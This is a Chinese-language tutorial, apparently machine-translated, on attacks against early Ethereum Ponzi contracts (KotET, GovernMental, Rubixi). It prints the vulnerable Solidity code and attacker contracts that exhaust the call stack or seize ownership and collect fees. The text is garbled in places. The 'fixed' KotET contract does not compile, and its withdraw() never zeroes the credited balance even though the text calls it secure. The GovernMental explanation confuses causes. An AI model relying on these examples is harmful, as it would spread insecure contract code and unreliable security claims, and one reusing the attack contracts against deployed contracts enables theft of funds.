旁氏骗局。如果你在2016年就开始关注以太坊区块链，你应该知道早期的智能合约有庞氏骗局。就好像传统的旁氏骗局，这些游戏的设计是为了能够连续吸引玩家加入，来让这个游戏一直进行下去。虽然这些合约会戛然而止，有些人会发现是因为别的原因导致其结束。本文列举了这类合约可能遭到的攻击。

攻击#1：异常障碍

当攻击者利用合约的漏洞返回一个异常错误的时候，异常障碍攻击就会发生。异常障碍会在合约不能成功调用类似address.send() 或者address.call.value()之类的函数时，自动触发。这个错误本身不会被标出，痴肥合约指导去这样做；异常错误不会自动产生。

攻击示例

2016年2月6日，KotET游戏的智能合约部署完成。KotET游戏中，玩家需要发送给合约一些以太币，从而获得“王位”。只要拿到了王位，玩家就会被加到皇庭，并且永远地被记录在区块链上。更重要地是，后来的国王有权去获得新国王的以太币。随着国外数量增多，成为国王的代价也会越来越贵。如果14天过去了，还没有新的继承者，那么王位就会重置，并且游戏也全部重新开始。这个游戏的理想是新的国外会支付一定的费用，来获得王位，同时有新人来不停地进行游戏，这就导致了“庞氏陷阱”。

代码示例

下面是初始KotET合约的简化版代码。需要注意地是返回函数，这会在玩家将msg.value发送到合约的时候触发。返回函数会首先检查国王是否发出了足够的以太币来获得王位。如果没有，这个需求就会被丢弃，然后代码也会返回。如果有足够的以太币，那么现在的国王就获得足够的弥补（认购价格减去服务费），并且发出资金的人就会成为新的国王。然后，新的国王价格会计算出来。

contract KotET {

    address public king;
    uint public claimPrice = 100;
    address owner;

    //constructor, assigning ownership

    constructor() {
        owner = msg.sender;
        king = msg.sender;
    }

    //for contract creator to withdraw commission fees
    function sweepCommission(uint amount) {
        owner.send(amount);
    }

    //fallback function
    function() {
        if (msg.value < claimPrice) revert;
        uint compensation = calculateCompensation();

        
        king.send(compensation);
        king = msg.sender;
        claimPrice = calculateNewPrice();
    }

}

KotET合约的漏洞在于使用了address.send()，并且在不成功调用的时候，就不能检查异常错误。就像之前讨论的，address.send() and address.transfer()都是受限于2300的燃料费。虽然这对于防止重入攻击很有用，但是gas燃料限制会导致发送资金给国王地址失败，如果国王的合约有退回函数需要花费超过2300的gas燃料费。这就是KotET的情况，支付给国王的钱会发送到以太坊mist“合约钱包”，而不是“合约账户”，这就需要更多的gas燃料来完成转账。最终的结果就是不成功的转账，以太币呗退回到国王的账户中，新的国王无法进行加冕，所以这个合约就会一直卡住。

解决方案

KotET能够用以下2个办法解决问题：
1. 将异常丢弃，那么调用就会恢复- 我们可以通过在函数中添加revert来完成。这会防止合约停止，但是也会需要多余的步骤来启动支付转账。有两种方案，一是让用户自己发出多个支付转账（太中心化），二是实施批量支付确保付款，直到在“头奖”中没有剩余资金。
2. 使用提现，而不是直接的send调用，合约就可以有结构的，然后玩家就可以让自己的提现失败，而不是合约中剩下的资金。提现算法的唯一不好处，就是这并不是自动化的，需要很多的用户交互。让我们来看看，我们可以如何更新合约，来实施这些变化。

contract KotET {

    address public king;
    uint public claimPrice = 100;
    uint public resolutionFunds
    address owner;
    mapping (address => uint) creditedFunds;

    //constructor, assigning ownership
    constructor() {
        owner = msg.sender;
        king = msg.sender;
    }

    //for contract creator to withdraw commission fees
    function sweepCommission(uint amount) {
        owner.send(amount);
    }

    //for assigning new king and crediting balance
    function becomeKing() public payable returns (bool) {
        if (msg.value > claimPrice) {
            creditedFunds[richest] += msg.value;
            king = msg.sender;
            return true;
        } else {
            return false;
        }
    }

    function withdraw() public {
        uint amount = creditedFunds[msg.sender];
        //zeroing the balance BEFORE sending creditedFunds
        //to prevent re-entrancy attacks
        pendingWithdrawals[msg.sender] = 0;
        msg.sender.transfer(amount);
    }

}

现在合约再也不用依赖于退回函数来执行对新的国外进行加冕了，并且可以直接发送资金给下个国王。这个合约现在对于任何的能够攻击合约的回退/重入攻击来说，都是安全的。

攻击#2：调用栈攻击

在EIP150使用之前，以太坊虚拟机的调用栈深度为1024。这也就是说，有人可以在自动使用第1024个调用之前，调用某个合约1023次。攻击者最终会达到第1023次合约，导致接下来的调用失败，并且让他们自身来盗窃合约的资金，并且掌控合约。

攻击示例

和KotET这类旁氏游戏类似，用户会发出以太币给合约，来加入游戏。每轮游戏的赢家可以获得奖池的金额。游戏的规则如下：
• 你必须要发送至少1ETH到合约，然后你会被支付10%的利息。
• 如果“政府”（合约）在12小时内没有收到新的资金，最后的人获得所有的奖池，所有人都会失去资金。
• 发送到合约的以太币分配如下：5%给奖池，5%给合约拥有者，90%根据支付顺序，用来支付给发送资金的人
• 当奖池满了（1万以太币），95%的资金会发送给支付者。
• 红利：支付者可以使用推荐链接来邀请别人。如果有朋友对这个合约进行支付，那么邀请人可以获得5%，5%会给到合约拥有者，5%会进入奖池，剩下的85%会用来支付利息。

合约的写入，需要保证用户和他们的资金被记录在2个数组，ddress[] public credAddr 和int[] public credAmt。这两个数组会在游戏最后重置。GovernMental已经非常成功了，因为数组变得非常大，需要清除他们的燃料费已经超过每个转账能够做到的极限。最终的结局是奖池的永久性冻结，总共有大约1100个以太坊。最后，在2个月后，资金最后还是解冻了，并且发给了调用者。

GovernMental虽然不是被恶意的用户攻击，但是它也是很好的例子，这类灾难会由调用栈攻击产生。这也表面，在进行大型数据库工作的时候，需要格外的小心。

代码

下面是GovernMental智能合约的完整代码，其中还包含简短的变量。我已经在它的整体中包含了真正的合约，因为通过一行行地检查合约可以学到很多，包含这个合约是如何构建的。有人可以看到function lendGovernmentMoney()，代表了发出资金者的地址，并且需要以太币的数量被重置或者添加到现有数据。需要注意，在同个函数中，资金是如何在合约拥有者以及12个小时结束时的最后发出资金者之间分配的， credAddr[credAddr.length 1].send(profitFromCrash); 以及corruptElite.send(this.balance)。

contract Government {

    // Global Variables
    uint32 public lastPaid;
    uint public lastTimeOfNewCredit;
    uint public profitFromCrash;
    address[] public credAddr;
    uint[] public credit;
    address public corruptElite;
    mapping (address => uint) buddies;
    uint constant TWELVE_HOURS = 43200;
    uint8 public round;

    // constructor
    constructor() {

        profitFromCrash = msg.value;
        corruptElite = msg.sender;
        lastTimeOfNewCredit = block.timestamp;
    }

    function lendGovernmentMoney(address buddy) returns (bool) {
        uint amount = msg.value;

        // check if the system already broke down. 
        // If 12h no new creditor gives new credit to 
        // the system it will brake down.
        // 12h are on average = 60*60*12/12.5 = 3456

        if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp) 
            // Return money to sender
            msg.sender.send(amount);

            // Sends all contract money to the last creditor
            credAddr[credAddr.length - 1].send(profitFromCrash);
            corruptElite.send(this.balance);

            // Reset contract state
            lastPaid = 0;
            lastTimeOfNewCredit = block.timestamp; 
            profitFromCrash = 0;
            // this is where the arrays are cleared
            credAddr = new address[](0);
            credAmt = new uint[](0);
            round += 1;
            return false;
        } 
        else {

            // the system needs to collect at 
            // least 1% of the profit from a crash to stay alive
            if (amount >= 10 ** 18) {

                // the System has received fresh money, 
                // it will survive at leat 12h more
                lastTimeOfNewCredit = block.timestamp;

                // register the new creditor and his 
                // amount with 10% interest rate
                credAddr.push(msg.sender);
                credAmt.push(amount * 110 / 100);

                // now the money is distributed
                // first the corrupt elite grabs 5% — thieves!
                corruptElite.send(amount * 5/100);

                // 5% are going into the economy (they will increase
                // the value for the person seeing the crash coming)
                if (profitFromCrash < 10000 * 10**18)
                    profitFromCrash += amount * 5/100;
                }

                // if you have a buddy in the government (and he is
                // in the creditor list) he can get 5% of your 
                // credits. Make a deal with him.
                if(buddies[buddy] >= amount) {
                    buddy.send(amount * 5/100);
                }
                buddies[msg.sender] += amount * 110 / 100;

                // 90% of money used to pay out old creditors
                if (credAmt[lastPaid] <= address(this).balance — profitFromCrash){
                   credAddr[lastPaid].send(credAmt[lastPaid]);
                   buddies[credAddr[lastPaid]] -= credAmt[lastPaid];
                   lastPaid += 1;
                }
                return true;
            } 
            else {
                msg.sender.send(amount);
                return false;
            }
        }
    }

    // fallback function
    function() {
        lendGovernmentMoney(0);
    }

    function totalDebt() returns (uint debt) {
        for(uint i=lastPaid; i<credAmt.length; i++){
            debt += credAmt[i];
        }
    }

    function totalPayedOut() returns (uint payout) {
        for(uint i=0; i<lastPaid; i++){
            payout += credAmt[i];
        }
    }

    // donate funds to "the government"
    function investInTheSystem() {
        profitFromCrash += msg.value;
    }

    // From time to time the corrupt elite 
    // inherits it’s power to the next generation
    function inheritToNextGeneration(address nextGeneration) {
        if (msg.sender == corruptElite) {
            corruptElite = nextGeneration;
        }
    }

    function getCreditorAddresses() returns (address[]) {
        return credAddr;
    }

    function getCreditorAmounts() returns (uint[]) {
        return credAmt;
    }
}

我们假设攻击者写了如下的合约，进行恶意攻击contract Government {}。

contract attackGov {

function attackGov (address target, uint count) {

    if (0<= count && count<1023) {
        this.attackGov.gas(gasleft() - 2000)(target, count+1);
    } 
    else {
       attackGov(target).lendGovernmentMoney;

    }

}

攻击者调用了contract attackGov{} 函数，来进行调用直到栈的大小为1023。当栈达到1022，lendGovernmentMoney()函数就会在第1023个栈上执行。因为第1024个调用已经失败了，并且 send() 函数不会检查返回的代码，合约的credAddr[credAddr.length — 1].send(profitFromCrash)代码也会失效。合约之后就会重置，而且下一轮已经可以开始。因为支付失败了，合约现在就会从最后一轮中获得奖池，在下轮结束后，合约拥有者就会获得全部的资金，corruptElite.send(this.balance)。

解决方案

那么我们怎么才能避免全栈攻击呢？很幸运地是，EIP150标准进行了更新，使得栈调用的深度达到1024是几乎不可能的事情。规则中写到，子调用不能花费主调用的63/64燃料费用。为了达到接近栈调用的极限，攻击者需要花费难以想象地费用，所以很少有人会这么做。

另个方面，对于大量数据的处理方法包含：
• 写合约的时候，要在多个转账中分散数据清理工作，而不是集中在某个，或者
• 通过让用户能够独立处理数据集的方式来写入合约。

攻击#3- 不可更改的管理器缺陷

什么使得智能合约这么特别？他们是不可更改的。什么造就了智能合约的噩梦？他们是不可更改的。现在，很遗憾的结论是，当在写智能合约时，很多时候会出现错误。在激活合约之前，对整体的函数，参数和合约结构进行审核，是非常必要的。

如果在以太坊历史上，有智能合约是因为整体架构出问题，而最终失败的，毫无疑问就是Rubixi。Rubixi是另一个旁氏游戏，其中玩家需要发送以太币到合约中，并且可以获得更多的以太币。但是，在Rubixi开发的过程中，拥有者随意更改了合约名称，但是并没有检车任何的不一致性。毋庸置疑，Rubixi远不能称为“成功”。

攻击示例

由于Solidity v0.4.24算法，合约的管理器功能是construct()。但是，在Rubixi合约创建的时候，管理器功能被以太坊虚拟机和合约共享了同个名字。Rubixi的问题在于当合约中部署了管理器的名称为function DynamicPyramid() ，而不是function Rubixi(),，这就意味着Rubixi最初的名字叫“DynamicPyramid”。由于这个不一致性，合约在创建的时候，并没有指定拥有者，所以城堡的钥匙被抢走了。任何人都能够定义他们自己为合约的拥有者，然后获得参与者加入的合约费用。

代码示例

如果我们把合约代码的前几行拿出来，你就会发现合约名称和指定管理器函数的区别。

contract Rubixi {

    //Declare variables for storage critical to contract
    uint private balance = 0;
    uint private collectedFees = 0;
    uint private feePercent = 10;
    uint private pyramidMultiplier = 300;
    uint private payoutOrder = 0;

    address private creator;

    //Sets creator
    function DynamicPyramid() {
        creator = msg.sender;
    }

现在你应该明白了，攻击者需要做的，就是创建合约的名字为function DynamicPyramid(), 然后获得拥有权。然后，攻击者可以调用function collectAllFees()，然后提现。虽然这个攻击已经非常直接了，Rubixi是个很好的例子，告诉我们一定要彻底地检查合约。

contract extractRubixi {

    address owner;
    Rubixi r = Rubixi(0xe82...);

    constructor() public {
        owner=msg.sender;
    }

    function setAndGrab() public {
        r.DynamicPyramid();
        r.collectAllFees();
    }

}

解决方案

很幸运地是，Solidity语言已经更新了，以至于管理器功能被定义为constructor() ，而不是contractName()。我们可以从中学到的是，多次检查我们的合约代码，并且保证你在整个开发过程中，保持一致性。没有什么比部署一个无法改变的合约，但是发现其中有问题，更糟糕了。

最终的结局

旁氏游戏或许已经是过去的事情，但是George Santayana曾经说过，“那些不能从历史中学到教训的人，还会重复错误。”通过从KotET, GovernMental和Rubixi这类错误中学习，我们可以防止自己在错误的道路上越走越远。